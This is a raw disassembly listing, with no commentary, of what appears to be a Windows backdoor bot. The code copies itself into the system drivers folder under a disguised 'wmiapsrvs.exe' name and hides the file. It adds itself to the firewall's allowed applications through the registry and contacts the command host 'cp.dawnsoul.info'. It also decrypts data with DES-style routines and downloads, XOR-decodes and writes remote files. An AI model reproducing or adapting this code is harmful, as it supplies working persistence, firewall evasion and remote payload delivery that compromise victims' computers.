		jnz	loc_404F45
		push	esi
		lea	eax, [ebp+var_3B0]
		push	eax
		call	dword_4190B4	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+var_16C]
		push	eax
		push	ebx
		call	edi	; GetModuleHandleA
		push	eax
		call	dword_419090	; GetModuleFileNameA
		lea	eax, [ebp+var_6B8]
		push	eax
		lea	eax, [ebp+var_7B8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_16C]
		push	ebx
		push	eax
		call	sub_40DEA4
		lea	eax, [ebp+var_6B8]
		push	eax
		lea	eax, [ebp+var_7B8]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+var_DDC]
		push	104h
		push	eax
		call	sub_40DFEC
		lea	eax, [ebp+var_3B0]
		push	eax
		lea	eax, [ebp+var_16C]
		push	eax
		call	sub_40D810
		mov	edi, dword_419064
		add	esp, 30h
		test	eax, eax
		jnz	loc_404F4C
		cmp	dword_4BD8E4, ebx
		mov	esi, offset aWmiapsrvs_exe ; "wmiapsrvs.exe"
		jz	short loc_404DAB
		push	esi
		mov	[ebp+var_4], ebx
		call	sub_40D630
		sub	eax, 4
		pop	ecx
		jz	short loc_404DAB


loc_404D82:				; CODE XREF: sub_404BAB+1FEj
		call	sub_40E04D
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_4]
		push	esi
		add	dl, 61h
		inc	[ebp+var_4]
		mov	byte ptr aWmiapsrvs_exe[eax], dl ; "wmiapsrvs.exe"
		call	sub_40D630
		sub	eax, 4
		cmp	[ebp+var_4], eax
		pop	ecx
		jb	short loc_404D82


loc_404DAB:				; CODE XREF: sub_404BAB+1C6j
					; sub_404BAB+1D5j
		push	esi
		lea	eax, [ebp+var_3B0]
		push	eax
		lea	eax, [ebp+var_270]
		push	offset aSDriversS ; "%s\\drivers\\%s"
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		lea	eax, [ebp+var_270]
		push	eax
		call	dword_4190C4	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404DEB
		push	80h
		lea	eax, [ebp+var_270]
		push	eax
		call	dword_419078	; SetFileAttributesA


loc_404DEB:				; CODE XREF: sub_404BAB+22Cj
		mov	esi, dword_4190C0
		mov	[ebp+var_4], ebx
		jmp	short loc_404E1D
; ---------------------------------------------------------------------------


loc_404DF6:				; CODE XREF: sub_404BAB+285j
		call	dword_4190AC	; RtlGetLastWin32Error
		cmp	[ebp+var_4], ebx
		jnz	short loc_404E32
		cmp	eax, 20h
		jz	short loc_404E0B
		cmp	eax, 5
		jnz	short loc_404E32


loc_404E0B:				; CODE XREF: sub_404BAB+259j
		push	3A98h
		mov	[ebp+var_4], 1
		call	dword_419060	; Sleep


loc_404E1D:				; CODE XREF: sub_404BAB+249j
		push	ebx
		lea	eax, [ebp+var_270]
		push	eax
		lea	eax, [ebp+var_16C]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_404DF6


loc_404E32:				; CODE XREF: sub_404BAB+254j
					; sub_404BAB+25Ej
		lea	eax, [ebp+var_270]
		push	eax
		call	sub_408AC2
		pop	ecx
		push	7
		lea	eax, [ebp+var_270]
		push	eax
		call	dword_419078	; SetFileAttributesA
		cmp	dword_4C5924, 2
		jle	short loc_404E96
		mov	eax, dword_4C5928
		push	dword ptr [eax+4]
		call	sub_40E0C8
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4190CC	; WaitForSingleObject
		push	esi
		call	edi	; CloseHandle
		mov	eax, dword_4C5928
		cmp	[eax+8], ebx
		jz	short loc_404E96
		push	3E8h
		call	dword_419060	; Sleep
		mov	eax, dword_4C5928
		push	dword ptr [eax+8]
		call	dword_41906C	; DeleteFileA


loc_404E96:				; CODE XREF: sub_404BAB+2AAj
					; sub_404BAB+2D0j
		push	10h
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		call	sub_40D7B0
		push	44h
		pop	esi
		push	esi
		lea	eax, [ebp+var_6C]
		push	ebx
		push	eax
		call	sub_40D7B0
		mov	[ebp+var_6C], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_60], offset word_41994E
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], bx
		call	dword_4190BC	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_419074	; OpenProcess
		lea	ecx, [ebp+var_16C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_270]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_40D6BB
		add	esp, 14h
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_3B0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		lea	eax, [ebp+var_5B8]
		push	eax
		lea	eax, [ebp+var_270]
		push	eax
		call	dword_41909C	; CreateProcessA
		test	eax, eax
		jz	short loc_404F4C
		push	0C8h
		call	dword_419060	; Sleep
		push	[ebp+var_28]
		call	edi	; CloseHandle
		push	[ebp+var_24]
		call	edi	; CloseHandle
		call	dword_4C47A8


loc_404F45:				; CODE XREF: sub_404BAB+100j
					; sub_404BAB+131j
		push	ebx


loc_404F46:				; CODE XREF: sub_404BAB+9Bj
		call	dword_4190B8	; ExitProcess


loc_404F4C:				; CODE XREF: sub_404BAB+1B5j
					; sub_404BAB+37Dj
		cmp	dword_4C5924, 2
		jle	short loc_404F94
		mov	eax, dword_4C5928
		push	dword ptr [eax+4]
		call	sub_40E0C8
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4190CC	; WaitForSingleObject
		push	esi
		call	edi	; CloseHandle
		mov	eax, dword_4C5928
		cmp	[eax+8], ebx
		jz	short loc_404F94
		push	7D0h
		call	dword_419060	; Sleep
		mov	eax, dword_4C5928
		push	dword ptr [eax+8]
		call	dword_41906C	; DeleteFileA


loc_404F94:				; CODE XREF: sub_404BAB+3A8j
					; sub_404BAB+3CEj
		lea	eax, [ebp+var_AD8]
		push	eax
		push	101h
		call	dword_419230	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	loc_4051EF
		cmp	[ebp+var_AD8], 1
		jnz	loc_4051E1
		cmp	[ebp+var_AD7], 1
		jnz	loc_4051E1
		push	offset aWmiPerformance ; "WMI Performance Adapter Services"
		lea	eax, [ebp+var_16C]
		push	eax
		lea	eax, [ebp+var_CD8]
		push	offset aSEnabledS ; "%s:*:Enabled:%s"
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	dword_419008	; RegCreateKeyExA
		lea	eax, [ebp+var_CD8]
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_CD8]
		push	eax
		push	1
		push	ebx
		lea	eax, [ebp+var_16C]
		push	eax
		push	[ebp+var_10]
		call	dword_41900C	; RegSetValueExA
		push	[ebp+var_10]
		call	dword_419014	; RegCloseKey
		cmp	dword_41E134, ebx
		jz	short loc_40504F
		lea	eax, [ebp+var_16C]
		push	eax
		call	start
		pop	ecx


loc_40504F:				; CODE XREF: sub_404BAB+495j
		push	400h
		push	ebx
		push	offset byte_4B93D0
		call	sub_40D7B0
		push	0B80h
		push	ebx
		push	offset dword_4B8850
		call	sub_40D7B0
		push	ebx
		push	ebx
		mov	esi, offset aShitStarted_ ; "Shit started."
		push	esi
		call	sub_40A83B
		push	4000h
		push	ebx
		push	offset dword_4B98E0
		call	sub_40D7B0
		push	esi
		call	sub_401648
		push	7Fh
		push	offset aCp_dawnsoul_in ; "cp.dawnsoul.info"
		mov	esi, offset dword_4B86E8
		push	esi
		call	sub_40DB80
		mov	eax, dword_41E16C
		add	esp, 40h
		push	3Fh
		push	offset dword_41E17C
		push	offset dword_4B876C
		mov	dword_4B8768, eax
		call	sub_40DB80
		push	3Fh
		push	offset aS_3	; "s"
		mov	edi, offset dword_4B87AC
		push	edi
		call	sub_40DB80
		add	esp, 18h
		mov	dword_4B8840, ebx


loc_4050DD:				; CODE XREF: sub_404BAB+5C9j
					; sub_404BAB+5D4j ...
		mov	[ebp+var_4], ebx


loc_4050E0:				; CODE XREF: sub_404BAB+57Dj
		cmp	dword_4B97D0, ebx
		jnz	short loc_4050FE
		push	ebx
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4C4608
		test	eax, eax
		jnz	short loc_4050FE
		push	7530h
		jmp	short loc_40511B
; ---------------------------------------------------------------------------


loc_4050FE:				; CODE XREF: sub_404BAB+53Bj
					; sub_404BAB+54Aj
		push	esi
		call	sub_404901
		cmp	eax, 2
		mov	[ebp+var_C], eax
		mov	dword_4BD8F0, ebx
		jz	loc_4051C9
		push	0BB8h


loc_40511B:				; CODE XREF: sub_404BAB+551j
		call	dword_419060	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4050E0
		cmp	[ebp+var_C], 2
		jz	loc_4051C9
		cmp	[ebp+var_8], ebx
		jz	short loc_405179
		push	7Fh
		push	offset aCp_dawnsoul_in ; "cp.dawnsoul.info"
		push	esi
		call	sub_40DB80
		mov	eax, dword_41E16C
		push	3Fh
		push	offset dword_41E17C
		push	offset dword_4B876C
		mov	dword_4B8768, eax
		call	sub_40DB80
		push	3Fh
		push	offset aS_3	; "s"
		push	edi
		call	sub_40DB80
		add	esp, 24h
		mov	[ebp+var_8], ebx
		jmp	loc_4050DD
; ---------------------------------------------------------------------------


loc_405179:				; CODE XREF: sub_404BAB+58Cj
		cmp	byte_41E158, bl
		jz	loc_4050DD
		push	7Fh
		push	offset byte_41E158
		push	esi
		call	sub_40DB80
		mov	eax, dword_41E170
		push	3Fh
		push	offset dword_41E184
		push	offset dword_4B876C
		mov	dword_4B8768, eax
		call	sub_40DB80
		push	3Fh
		push	offset aS_3	; "s"
		push	edi
		call	sub_40DB80
		add	esp, 24h
		mov	[ebp+var_8], 1
		jmp	loc_4050DD
; ---------------------------------------------------------------------------


loc_4051C9:				; CODE XREF: sub_404BAB+565j
					; sub_404BAB+583j
		mov	esi, offset dword_4B85E8


loc_4051CE:				; CODE XREF: sub_404BAB+634j
		push	dword ptr [esi]
		call	dword_419240	; closesocket
		add	esi, 4
		cmp	esi, offset dword_4B86E8
		jl	short loc_4051CE


loc_4051E1:				; CODE XREF: sub_404BAB+40Dj
					; sub_404BAB+41Aj
		call	dword_419244	; WSACleanup
		jmp	short loc_4051EF
; ---------------------------------------------------------------------------


loc_4051E9:				; CODE XREF: sub_404BAB+C1j
					; sub_404BAB+CEj
		call	dword_4C47A8


loc_4051EF:				; CODE XREF: sub_404BAB+B4j
					; sub_404BAB+400j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_404BAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4051F8	proc near		; CODE XREF: sub_4054AE+96p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, offset dword_4C18F8


loc_405201:				; CODE XREF: sub_4051F8+18j
		mov	edx, [ecx]
		mov	[eax], edx
		add	eax, 4
		add	ecx, 4
		cmp	eax, offset dword_4C1978
		jb	short loc_405201
		retn
sub_4051F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405213	proc near		; CODE XREF: sub_40554F+Bp
		movzx	edx, byte ptr [ecx]
		shl	edx, 18h
		mov	[eax], edx
		inc	ecx
		movzx	edx, byte ptr [ecx]
		shl	edx, 10h
		or	[eax], edx
		xor	edx, edx
		inc	ecx
		mov	dh, [ecx]
		or	[eax], edx
		inc	ecx
		movzx	edx, byte ptr [ecx]
		or	[eax], edx
		inc	ecx
		movzx	edx, byte ptr [ecx]
		shl	edx, 18h
		add	eax, 4
		mov	[eax], edx
		inc	ecx
		movzx	edx, byte ptr [ecx]
		shl	edx, 10h
		or	[eax], edx
		inc	ecx
		xor	edx, edx
		mov	dh, [ecx]
		or	[eax], edx
		movzx	ecx, byte ptr [ecx+1]
		mov	edx, [eax]
		or	ecx, edx
		mov	[eax], ecx
		retn
sub_405213	endp


; =============== S U B	R O U T	I N E =======================================



sub_405258	proc near		; CODE XREF: sub_40554F+26p
		mov	dl, [ecx+3]
		mov	[eax], dl
		mov	dl, [ecx+2]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+1]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx]
		add	ecx, 4
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+3]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+2]
		inc	eax
		mov	[eax], dl
		mov	dl, [ecx+1]
		inc	eax
		mov	[eax], dl
		mov	cl, [ecx]
		mov	[eax+1], cl
		retn
sub_405258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405289	proc near		; CODE XREF: sub_40554F+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, [eax+4]
		mov	eax, edx
		shr	eax, 4
		xor	eax, ecx
		and	eax, 0F0F0F0Fh
		xor	ecx, eax
		shl	eax, 4
		xor	edx, eax
		mov	eax, edx
		shr	eax, 10h
		xor	eax, ecx
		and	eax, 0FFFFh
		xor	ecx, eax
		shl	eax, 10h
		xor	edx, eax
		mov	eax, ecx
		shr	eax, 2
		xor	eax, edx
		and	eax, 33333333h
		xor	edx, eax
		shl	eax, 2
		xor	ecx, eax
		mov	eax, ecx
		shr	eax, 8
		xor	eax, edx
		and	eax, 0FF00FFh
		xor	edx, eax
		shl	eax, 8
		xor	ecx, eax
		mov	eax, ecx
		add	ecx, ecx
		shr	eax, 1Fh
		or	eax, ecx
		mov	ecx, eax
		xor	ecx, edx
		and	ecx, 0AAAAAAAAh
		xor	edx, ecx
		xor	eax, ecx
		mov	ecx, edx
		push	ebx
		shr	ecx, 1Fh
		add	edx, edx
		push	esi
		or	ecx, edx
		mov	[ebp+var_4], 8
		push	edi


loc_40530B:				; CODE XREF: sub_405289+1A5j
		mov	edi, [ebp+arg_4]
		mov	esi, eax
		shl	esi, 1Ch
		mov	edx, eax
		shr	edx, 4
		or	esi, edx
		xor	esi, [edi]
		add	edi, 4
		mov	edx, esi
		shr	edx, 18h
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 3Fh
		and	edx, 3Fh
		mov	edx, dword_41E428[edx*4]
		or	edx, dword_41E628[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		or	edx, dword_41E828[ebx*4]
		and	esi, 3Fh
		or	edx, dword_41EA28[esi*4]
		mov	esi, [edi]
		add	edi, 4
		mov	[ebp+arg_4], edi
		xor	esi, eax
		mov	edi, esi
		shr	edi, 18h
		and	edi, 3Fh
		mov	edi, dword_41E528[edi*4]
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 3Fh
		or	edi, dword_41E728[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		or	edi, dword_41E928[ebx*4]
		and	esi, 3Fh
		or	edi, dword_41EB28[esi*4]
		or	edi, edx
		xor	ecx, edi
		mov	edi, [ebp+arg_4]
		mov	esi, ecx
		shl	esi, 1Ch
		mov	edx, ecx
		shr	edx, 4
		or	esi, edx
		xor	esi, [edi]
		add	edi, 4
		mov	edx, esi
		shr	edx, 18h
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 3Fh
		and	edx, 3Fh
		mov	edx, dword_41E428[edx*4]
		or	edx, dword_41E628[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		or	edx, dword_41E828[ebx*4]
		and	esi, 3Fh
		or	edx, dword_41EA28[esi*4]
		mov	esi, [edi]
		add	edi, 4
		mov	[ebp+arg_4], edi
		xor	esi, ecx
		mov	edi, esi
		shr	edi, 18h
		and	edi, 3Fh
		mov	edi, dword_41E528[edi*4]
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 3Fh
		or	edi, dword_41E728[ebx*4]
		mov	ebx, esi
		shr	ebx, 8
		and	ebx, 3Fh
		or	edi, dword_41E928[ebx*4]
		and	esi, 3Fh
		or	edi, dword_41EB28[esi*4]
		or	edi, edx
		xor	eax, edi
		dec	[ebp+var_4]
		jnz	loc_40530B
		mov	edx, eax
		shr	eax, 1
		shl	edx, 1Fh
		or	edx, eax
		mov	eax, edx
		xor	eax, ecx
		and	eax, 0AAAAAAAAh
		xor	ecx, eax
		xor	edx, eax
		mov	esi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	esi, ecx
		mov	eax, esi
		shr	eax, 8
		xor	eax, edx
		and	eax, 0FF00FFh
		xor	edx, eax
		shl	eax, 8
		xor	esi, eax
		mov	eax, esi
		shr	eax, 2
		xor	eax, edx
		and	eax, 33333333h
		xor	edx, eax
		shl	eax, 2
		xor	esi, eax
		mov	ecx, [ebp+arg_0]
		mov	eax, edx
		shr	eax, 10h
		xor	eax, esi
		and	eax, 0FFFFh
		xor	esi, eax
		shl	eax, 10h
		xor	edx, eax
		mov	eax, edx
		shr	eax, 4
		xor	eax, esi
		and	eax, 0F0F0F0Fh
		mov	edi, eax
		shl	edi, 4
		xor	edi, edx
		mov	[ecx], edi
		pop	edi
		xor	eax, esi
		pop	esi
		mov	[ecx+4], eax
		pop	ebx
		leave
		retn
sub_405289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054AE	proc near		; CODE XREF: sub_40557C+FBp

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		lea	edx, [ebp+var_84]
		mov	[ebp+var_4], 10h
		push	edi


loc_4054C7:				; CODE XREF: sub_4054AE+8Dj
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	[ebp+arg_0], 4
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		mov	esi, eax
		and	esi, 0FC0h
		shl	esi, 4
		mov	edi, eax
		and	edi, 0FC0000h
		or	esi, edi
		mov	edi, ecx
		shr	edi, 4
		add	[ebp+arg_0], 4
		shl	esi, 6
		mov	ebx, ecx
		and	edi, 0FC000h
		and	ebx, 0FC0h
		or	edi, ebx
		shr	edi, 6
		or	esi, edi
		mov	[edx], esi
		mov	esi, eax
		and	esi, 3Fh
		shl	esi, 4
		and	eax, 3F000h
		or	esi, eax
		mov	eax, ecx
		shr	eax, 4
		shl	esi, 0Ch
		and	eax, 3F00h
		or	esi, eax
		and	ecx, 3Fh
		add	edx, 4
		or	esi, ecx
		mov	[edx], esi
		add	edx, 4
		dec	[ebp+var_4]
		jnz	short loc_4054C7
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4051F8
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4054AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40554F	proc near		; CODE XREF: sub_40CC0B+49p
					; sub_40CC65+40p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		call	sub_405213
		lea	eax, [ebp+var_8]
		push	offset dword_4C18F8
		push	eax
		call	sub_405289
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_8]
		call	sub_405258
		leave
		retn
sub_40554F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_40557C	proc near		; CODE XREF: sub_40CC0B+3Ap
					; sub_40CC65+35p

var_F8		= byte ptr -0F8h
var_F4		= byte ptr -0F4h
var_94		= byte ptr -94h
var_78		= byte ptr -78h
var_40		= byte ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 0F8h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	ecx, ecx


loc_40558E:				; CODE XREF: sub_40557C+39j
		movzx	eax, byte_41E3B0[ecx]
		mov	esi, [ebp+70h+arg_0]
		mov	edx, eax
		sar	edx, 3
		mov	dl, [edx+esi]
		and	eax, 7
		test	byte_41E340[eax*2], dl
		setnz	al
		mov	[ebp+ecx+70h+var_78], al
		inc	ecx
		cmp	ecx, 38h
		jl	short loc_40558E
		mov	[ebp+70h+var_4], ebx
		mov	[ebp+70h+var_8], 1Eh


loc_4055C1:				; CODE XREF: sub_40557C+EEj
		cmp	[ebp+70h+arg_4], 1
		jnz	short loc_4055CC
		mov	eax, [ebp+70h+var_8]
		jmp	short loc_4055D1
; ---------------------------------------------------------------------------


loc_4055CC:				; CODE XREF: sub_40557C+49j
		mov	eax, [ebp+70h+var_4]
		add	eax, eax


loc_4055D1:				; CODE XREF: sub_40557C+4Ej
		lea	ecx, [ebp+eax*4+70h+var_F4]
		lea	esi, [ebp+eax*4+70h+var_F8]
		mov	eax, [ebp+70h+var_4]
		movzx	eax, byte ptr dword_41E3E8[eax]
		mov	[ecx], ebx
		mov	[esi], ebx
		xor	edx, edx
		mov	edi, eax


loc_4055F1:				; CODE XREF: sub_40557C+8Dj
		cmp	edi, 1Ch
		jge	short loc_4055FC
		mov	bl, [ebp+edi+70h+var_78]
		jmp	short loc_405600
; ---------------------------------------------------------------------------


loc_4055FC:				; CODE XREF: sub_40557C+78j
		mov	bl, [ebp+edi+70h+var_94]


loc_405600:				; CODE XREF: sub_40557C+7Ej
		mov	[ebp+edx+70h+var_40], bl
		inc	edx
		inc	edi
		cmp	edx, 1Ch
		jl	short loc_4055F1
		push	1Ch
		pop	edi
		add	eax, edi


loc_405610:				; CODE XREF: sub_40557C+ACj
		cmp	eax, 38h
		jge	short loc_40561B
		mov	dl, [ebp+eax+70h+var_78]
		jmp	short loc_40561F
; ---------------------------------------------------------------------------


loc_40561B:				; CODE XREF: sub_40557C+97j
		mov	dl, [ebp+eax+70h+var_94]


loc_40561F:				; CODE XREF: sub_40557C+9Dj
		mov	[ebp+edi+70h+var_40], dl
		inc	edi
		inc	eax
		cmp	edi, 38h
		jl	short loc_405610
		xor	ebx, ebx
		xor	eax, eax


loc_40562E:				; CODE XREF: sub_40557C+E1j
		lea	edx, dword_41E410[eax]
		movzx	edi, byte ptr [edx-18h]
		cmp	[ebp+edi+70h+var_40], bl
		jz	short loc_405647
		mov	edi, dword_41E350[eax*4]
		or	[esi], edi


loc_405647:				; CODE XREF: sub_40557C+C0j
		movzx	edx, byte ptr [edx]
		cmp	[ebp+edx+70h+var_40], bl
		jz	short loc_405659
		mov	edx, dword_41E350[eax*4]
		or	[ecx], edx


loc_405659:				; CODE XREF: sub_40557C+D2j
		inc	eax
		cmp	eax, 18h
		jl	short loc_40562E
		sub	[ebp+70h+var_8], 2
		inc	[ebp+70h+var_4]
		cmp	[ebp+70h+var_8], 0FFFFFFFEh
		jg	loc_4055C1
		lea	eax, [ebp+70h+var_F8]
		push	eax
		call	sub_4054AE
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_40557C	endp


; =============== S U B	R O U T	I N E =======================================



sub_405685	proc near		; CODE XREF: sub_4056A2+11Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_4056A1


loc_405691:				; CODE XREF: sub_405685+1Aj
		mov	dl, byte_41E139
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_405691

locret_4056A1:				; CODE XREF: sub_405685+Aj
		retn
sub_405685	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056A2	proc near		; DATA XREF: sub_40198E+23E6o
					; sub_40198E+25F2o

var_78C		= qword	ptr -78Ch
var_780		= qword	ptr -780h
var_710		= byte ptr -710h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_28C		= byte ptr -28Ch
var_18C		= byte ptr -18Ch
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_60		= dword	ptr -60h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 710h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0A9h
		lea	edi, [ebp+var_310]
		rep movsd
		xor	esi, esi
		push	esi
		push	esi
		xor	edi, edi
		push	esi
		inc	edi
		mov	[eax+2A0h], edi
		push	esi
		lea	eax, [ebp+var_28C]
		push	eax
		push	dword_4BD8E0
		call	dword_419200	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	loc_405AD9
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		lea	eax, [ebp+var_18C]
		push	eax
		call	dword_4190E0	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_14], eax
		jnb	short loc_405768
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_710]
		push	offset aCouldnTOpenF_0 ; "Couldn't open file: %s."
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_78], esi
		jnz	short loc_40574B
		push	[ebp+var_74]
		lea	eax, [ebp+var_710]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		push	[ebp+var_310]
		call	sub_4017B6
		add	esp, 10h


loc_40574B:				; CODE XREF: sub_4056A2+88j
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_401648
		push	[ebp+var_8C]
		call	sub_40AADD
		pop	ecx
		jmp	loc_405B39
; ---------------------------------------------------------------------------


loc_405768:				; CODE XREF: sub_4056A2+68j
		xor	edi, edi
		call	dword_4190A8	; GetTickCount
		mov	ebx, 7D000h
		push	ebx
		mov	[ebp+var_4], eax
		call	sub_40E74F
		pop	ecx
		mov	[ebp+var_10], eax


loc_405782:				; CODE XREF: sub_4056A2+1AEj
		push	400h
		lea	eax, [ebp+var_710]
		push	esi
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		push	400h
		lea	eax, [ebp+var_710]
		push	eax
		push	[ebp+var_C]
		call	dword_419204	; InternetReadFile
		cmp	[ebp+var_7C], esi
		jz	short loc_4057C6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_405685
		pop	ecx
		pop	ecx


loc_4057C6:				; CODE XREF: sub_4056A2+111j
		push	esi
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_710]
		push	eax
		push	[ebp+var_14]
		call	dword_4190DC	; WriteFile
		cmp	edi, ebx
		jnb	short loc_405804
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_4057EE
		mov	eax, [ebp+arg_0]


loc_4057EE:				; CODE XREF: sub_4056A2+147j
		push	eax
		lea	eax, [ebp+var_710]
		push	eax
		mov	eax, [ebp+var_10]
		add	eax, edi
		push	eax
		call	sub_40E3A0
		add	esp, 0Ch


loc_405804:				; CODE XREF: sub_4056A2+13Ej
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_80], esi
		jz	short loc_405811
		cmp	edi, [ebp+var_80]
		ja	short loc_405856


loc_405811:				; CODE XREF: sub_4056A2+168j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		mov	eax, [ebp+var_8C]
		imul	eax, 434h
		add	eax, offset dword_421E08
		cmp	[ebp+var_88], 1
		jz	short loc_40583F
		push	offset aFileDownloadSD ; "File download: %s (%dKB transferred)."
		jmp	short loc_405844
; ---------------------------------------------------------------------------


loc_40583F:				; CODE XREF: sub_4056A2+194j
		push	offset aUpdateSDkbTran ; "Update: %s (%dKB transferred)."


loc_405844:				; CODE XREF: sub_4056A2+19Bj
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_405782


loc_405856:				; CODE XREF: sub_4056A2+16Dj
		cmp	[ebp+var_80], esi
		mov	[ebp+var_8], 1
		jz	short loc_4058AA
		cmp	edi, [ebp+var_80]
		jz	short loc_4058AA
		push	[ebp+var_80]
		lea	eax, [ebp+var_710]
		push	edi
		push	offset aFilesizeIsInco ; "Filesize is incorrect: (%d !=	%d)."
		push	eax
		mov	[ebp+var_8], esi
		call	sub_40D6BB
		push	[ebp+var_74]
		lea	eax, [ebp+var_710]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		push	[ebp+var_310]
		call	sub_4017B6
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_401648
		add	esp, 24h


loc_4058AA:				; CODE XREF: sub_4056A2+1BEj
					; sub_4056A2+1C3j
		call	dword_4190A8	; GetTickCount
		sub	eax, [ebp+var_4]
